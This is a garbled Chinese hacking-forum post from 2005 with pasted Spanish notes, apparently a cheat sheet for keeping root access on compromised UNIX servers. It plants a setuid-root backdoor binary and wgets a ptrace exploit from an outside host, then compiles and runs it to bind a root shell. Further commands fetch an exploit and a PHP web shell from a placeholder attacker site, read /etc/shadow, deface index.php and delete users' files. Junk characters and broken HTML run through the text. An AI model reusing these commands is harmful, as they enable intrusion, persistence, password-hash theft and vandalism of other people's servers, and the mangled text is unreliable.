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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |正序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
8 i. A2 r2 C  a<>1.</P>6 R. P/ m2 w+ X7 ~
<>[cnbird@localhost tmp]#id</P>
$ w2 ~( D5 h2 w, t. o<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
  P2 l" j6 {+ ^5 N' A<>[cnbird@localhost tmp]#cp `which id ` .</P>
" Q! [) i5 p6 ]' u<>[cnbird@localhost tmp]#chown root ./id</P>
9 G9 |- u0 Q$ p. k1 ]" s7 U<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
* ^' B2 P" i8 _9 ?( W<>[cnbird@localhost tmp]#ls -l ./id</P>( G! V% p& E) R( r. Z% d! w) Y
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
4 W0 S8 B9 z7 ~% M7 S% a4 u<>[cnbird@localhost tmp]#exit</P>
% `9 R- n# a0 `' ?9 R; t<>[cnbird@localhost tmp]$id</P>
3 H' C' O8 Y0 L+ ?$ W' z' \<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
: L: E8 W% s! _4 G<>[cnbird@localhost tmp]$./id </P>3 d% }2 z1 M$ d- [
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
* R7 B7 A. p; X" {% e: f4 u% a0 s4 U<>2.利用ptrace成为root的方法</P>
" u' j) u; r- T, y7 H<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
6 m( |( z. ?6 _+ L-&gt; Parent's PID is 2313. Child's PID is 2314.
3 P- C  D4 D/ }4 O-&gt; Attaching to 2315...4 w, X, D% H* n* u6 H0 M! _; E
-&gt; Got the thread!!( p1 V! n  f6 p# `4 x0 R8 B
-&gt; Waiting for the next signal..." G  }% U/ A# S8 f) L4 `* x- S. X: e
-&gt; Injecting shellcode at 0x4000e85d6 T7 Z- v. @' O- Q, M
-&gt; Bind root shell on port 24876... =p
$ `8 V0 ?: u; q* o/ r6 U-&gt; Detached from modprobe thread.8 \, I! U( o9 R
-&gt; Committing suicide.....</P>
+ ^+ J" ^. h' p+ S<>[bash]# id
+ \4 F5 ]2 \+ R; P! V/ |3 Auid=0(root) gid=0(root) groups=0(root)</P>
8 ~1 X. F9 ]- Y6 l( i7 ?<>ara ver los dominios que hay en el server:$ s$ `* ^( S8 L! P* e
---------------------------------------------------------9 F6 \$ k( V; G0 ?
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
5 n$ I; i: u; Dcat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios& k* F1 K: ?- ^" ~% f7 Y
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales
. g: m; y3 {: s1 y4 [0 w" i' y1 icat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio   K- E) l3 O6 u& A5 K9 Z# ]2 Y
cat /etc/userdomains &lt;&lt; Este es el mas comun
/ _8 B& @, B" ]3 p% b---------------------------------------------------------</P>, I5 D5 `+ i& Z+ ~! a* ~1 |  o% G
<>ara ver la version de kernel:' P( R8 [0 b. O
---------------------------------------------------------( i% k% k  j$ Y& X; B
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
8 V8 }. U, ]7 y* U$ X' a/ K$ t---------------------------------------------------------</P>
5 m) Q: K% [! @: y2 f: C<>ara modificar un index ya existente:% X- P* g: z" M2 S( m
---------------------------------------------------------5 E1 H, t. ~! y
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
: y0 T2 S% t" G$ x* B. Q+ Q---------------------------------------------------------</P>$ w- g9 e  h+ C' r- ]! D
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
- {/ d2 j9 D  s" v0 M---------------------------------------------------------: O4 |! K5 E0 c( Q
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
! ?  P$ U: s  n$ E- Mcd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" % Y! x/ y2 _1 m9 j4 ]  j
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"; o5 i- _' M5 W& x3 V3 F
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
% A6 G2 M; A! E  ~Hasta aqui termina el proceso para un exploit.; V- @+ D" o9 r, R* F9 h4 h
---------------------------------------------------------</P>
' }' y* d: L4 c6 T2 ]% N: T<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:( t; U, ]2 j" S/ w: j& m! k2 r4 G
---------------------------------------------------------: v' ]4 p, v; Y6 W
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.+ L7 p! A9 s2 m  [
---------------------------------------------------------</P>$ k8 W- M; u: v/ b* l8 @9 z
<>Borrar un Ficher
4 \* x( _7 ]; Y9 \---------------------------------------------------------! d* u( r; }9 O
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
8 K& J4 L; i- ]% e$ y( y---------------------------------------------------------</P>3 B5 b* z3 X1 d1 c
<>Subir un ficher
- `, O/ `" v0 y. b---------------------------------------------------------" j( e1 {1 h6 J5 G1 v% J
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
& [0 g. T3 ]& C! o% k  L, H: G9 E<>* S6 T) H% u( Y3 S/ D
<CENTER></CENTER>
zan
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